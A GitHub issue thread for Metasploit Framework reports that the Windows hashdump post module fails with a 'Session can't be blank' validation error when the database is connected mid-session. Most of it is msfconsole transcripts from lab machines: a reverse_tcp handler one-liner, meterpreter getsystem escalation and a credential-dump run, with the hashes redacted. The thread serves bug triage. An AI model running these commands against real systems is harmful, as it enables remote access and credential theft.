Open haxpak opened 5 years ago
Can you tell us the target OS and what your database service is (remote/local/none)?
msf5 post(windows/gather/hashdump) > db_status
[*] postgresql selected, no connection
Or
msf5 exploit(windows/smb/psexec) > db_status
[*] Connected to remote_data_service: (https://localhost:5443). Connection type: http. Connection name: local-https-data-service.
I ran it with both the remote DB connection and local disconnected against windows 10x64 and it worked for both.
meterpreter > sysinfo
Computer : WIN10X64_1511
OS : Windows 10 (Build 10586).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background
[*] Backgrounding session 3...
msf5 exploit(windows/smb/psexec) > use post/windows/gather/hashdump
msf5 post(windows/gather/hashdump) > set session 3
session => 3
msf5 post(windows/gather/hashdump) > run
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 3afb4f40e2ad2583812554f817f390c5...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
[redacted]
[*] Post module execution completed
msf5 post(windows/gather/hashdump) >
This issue may be related to #10129. The second part of the issue was never resolved.
That is, the Validation failed: Session can't be blank. See log for more details.
error is still thrown if the database is connected after receiving a session.
@haxpak did you reconnect or disconnect the database while framework was running when doing this? Or was the database always connected?
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Hi again!
It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Closing as can't replicate
Steps to reproduce:
post/windows/gather/hashdump
on the sessionAs per https://github.com/rapid7/metasploit-framework/issues/12208#issuecomment-523506379 :
# ./msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.200.130; set lport 1337; set ExitOnSession false; run -j; set payload windows/x64/shell/reverse_tcp; set lport 1338; run -jz"
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
/usr/lib/x86_64-linux-gnu/ruby/3.1.0/stringio.so: warning: already initialized constant StringIO::VERSION
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
lhost => 192.168.200.130
lport => 1337
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.200.130:1337
payload => windows/x64/shell/reverse_tcp
lport => 1338
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.200.130:1338
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > db_status
[*] postgresql selected, no connection
msf6 exploit(multi/handler) > hosts
[-] Database not connected
msf6 exploit(multi/handler) >
[*] Sending stage (200774 bytes) to 192.168.200.190
[*] Meterpreter session 1 opened (192.168.200.130:1337 -> 192.168.200.190:1193) at 2023-06-06 09:31:23 -0400
msf6 exploit(multi/handler) > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set session 1
session => 1
msf6 post(windows/gather/hashdump) > db_connect msf:msf@127.0.0.1:5436/msf
[*] Connected to Postgres data service: 127.0.0.1/msf
msf6 post(windows/gather/hashdump) > run
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 9f288f41951f8dedc8c2011fcef7627f...
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
[-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
[*] Post module execution completed
msf6 post(windows/gather/hashdump) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
Background session 1? [y/N]
msf6 post(windows/gather/hashdump) > run
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 9f288f41951f8dedc8c2011fcef7627f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
asdf:"asdf"
[*] Dumping password hashes...
[-] Post failed: ActiveRecord::RecordInvalid Validation failed: Session can't be blank
[-] Call stack:
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/validations.rb:80:in `raise_validation_error'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/validations.rb:53:in `save!'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/transactions.rb:302:in `block in save!'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/transactions.rb:354:in `block in with_transaction_returning_status'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/connection_adapters/abstract/transaction.rb:319:in `block in within_new_transaction'
[-] /var/lib/gems/3.1.0/gems/activesupport-7.0.4.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:25:in `handle_interrupt'
[-] /var/lib/gems/3.1.0/gems/activesupport-7.0.4.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:25:in `block in synchronize'
[-] /var/lib/gems/3.1.0/gems/activesupport-7.0.4.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:21:in `handle_interrupt'
[-] /var/lib/gems/3.1.0/gems/activesupport-7.0.4.3/lib/active_support/concurrency/load_interlock_aware_monitor.rb:21:in `synchronize'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/connection_adapters/abstract/transaction.rb:317:in `within_new_transaction'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/connection_adapters/abstract/database_statements.rb:316:in `transaction'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/transactions.rb:350:in `with_transaction_returning_status'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/transactions.rb:302:in `save!'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/suppressor.rb:54:in `save!'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/persistence.rb:55:in `create!'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/relation.rb:870:in `_create!'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/relation.rb:115:in `block in create!'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/relation.rb:881:in `_scoping'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/relation.rb:428:in `scoping'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/relation.rb:115:in `create!'
[-] /var/lib/gems/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/relation.rb:124:in `first_or_create!'
[-] /var/lib/gems/3.1.0/gems/metasploit-credential-6.0.5/lib/metasploit/credential/creation.rb:448:in `block in create_credential_origin_session'
[-] /var/lib/gems/3.1.0/gems/metasploit-credential-6.0.5/lib/metasploit/credential/creation.rb:628:in `retry_transaction'
[-] /var/lib/gems/3.1.0/gems/metasploit-credential-6.0.5/lib/metasploit/credential/creation.rb:447:in `create_credential_origin_session'
[-] /var/lib/gems/3.1.0/gems/metasploit-credential-6.0.5/lib/metasploit/credential/creation.rb:360:in `create_credential_origin'
[-] /var/lib/gems/3.1.0/gems/metasploit-credential-6.0.5/lib/metasploit/credential/creation.rb:119:in `create_credential'
[-] /root/Desktop/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:6:in `block in create_credential'
[-] /root/Desktop/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:164:in `data_service_operation'
[-] /root/Desktop/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:5:in `create_credential'
[-] /root/Desktop/metasploit-framework/lib/msf/core/auxiliary/report.rb:40:in `create_credential'
[-] /root/Desktop/metasploit-framework/modules/post/windows/gather/hashdump.rb:102:in `block in run'
[-] /root/Desktop/metasploit-framework/modules/post/windows/gather/hashdump.rb:94:in `each'
[-] /root/Desktop/metasploit-framework/modules/post/windows/gather/hashdump.rb:94:in `run'
[*] Post module execution completed
msf6 post(windows/gather/hashdump) >
Steps to reproduce
How'd you do it?
Expected behavior
We should see the hashdump on the screen and also stored in the postgres
What happens instead?
OS
Kali Linux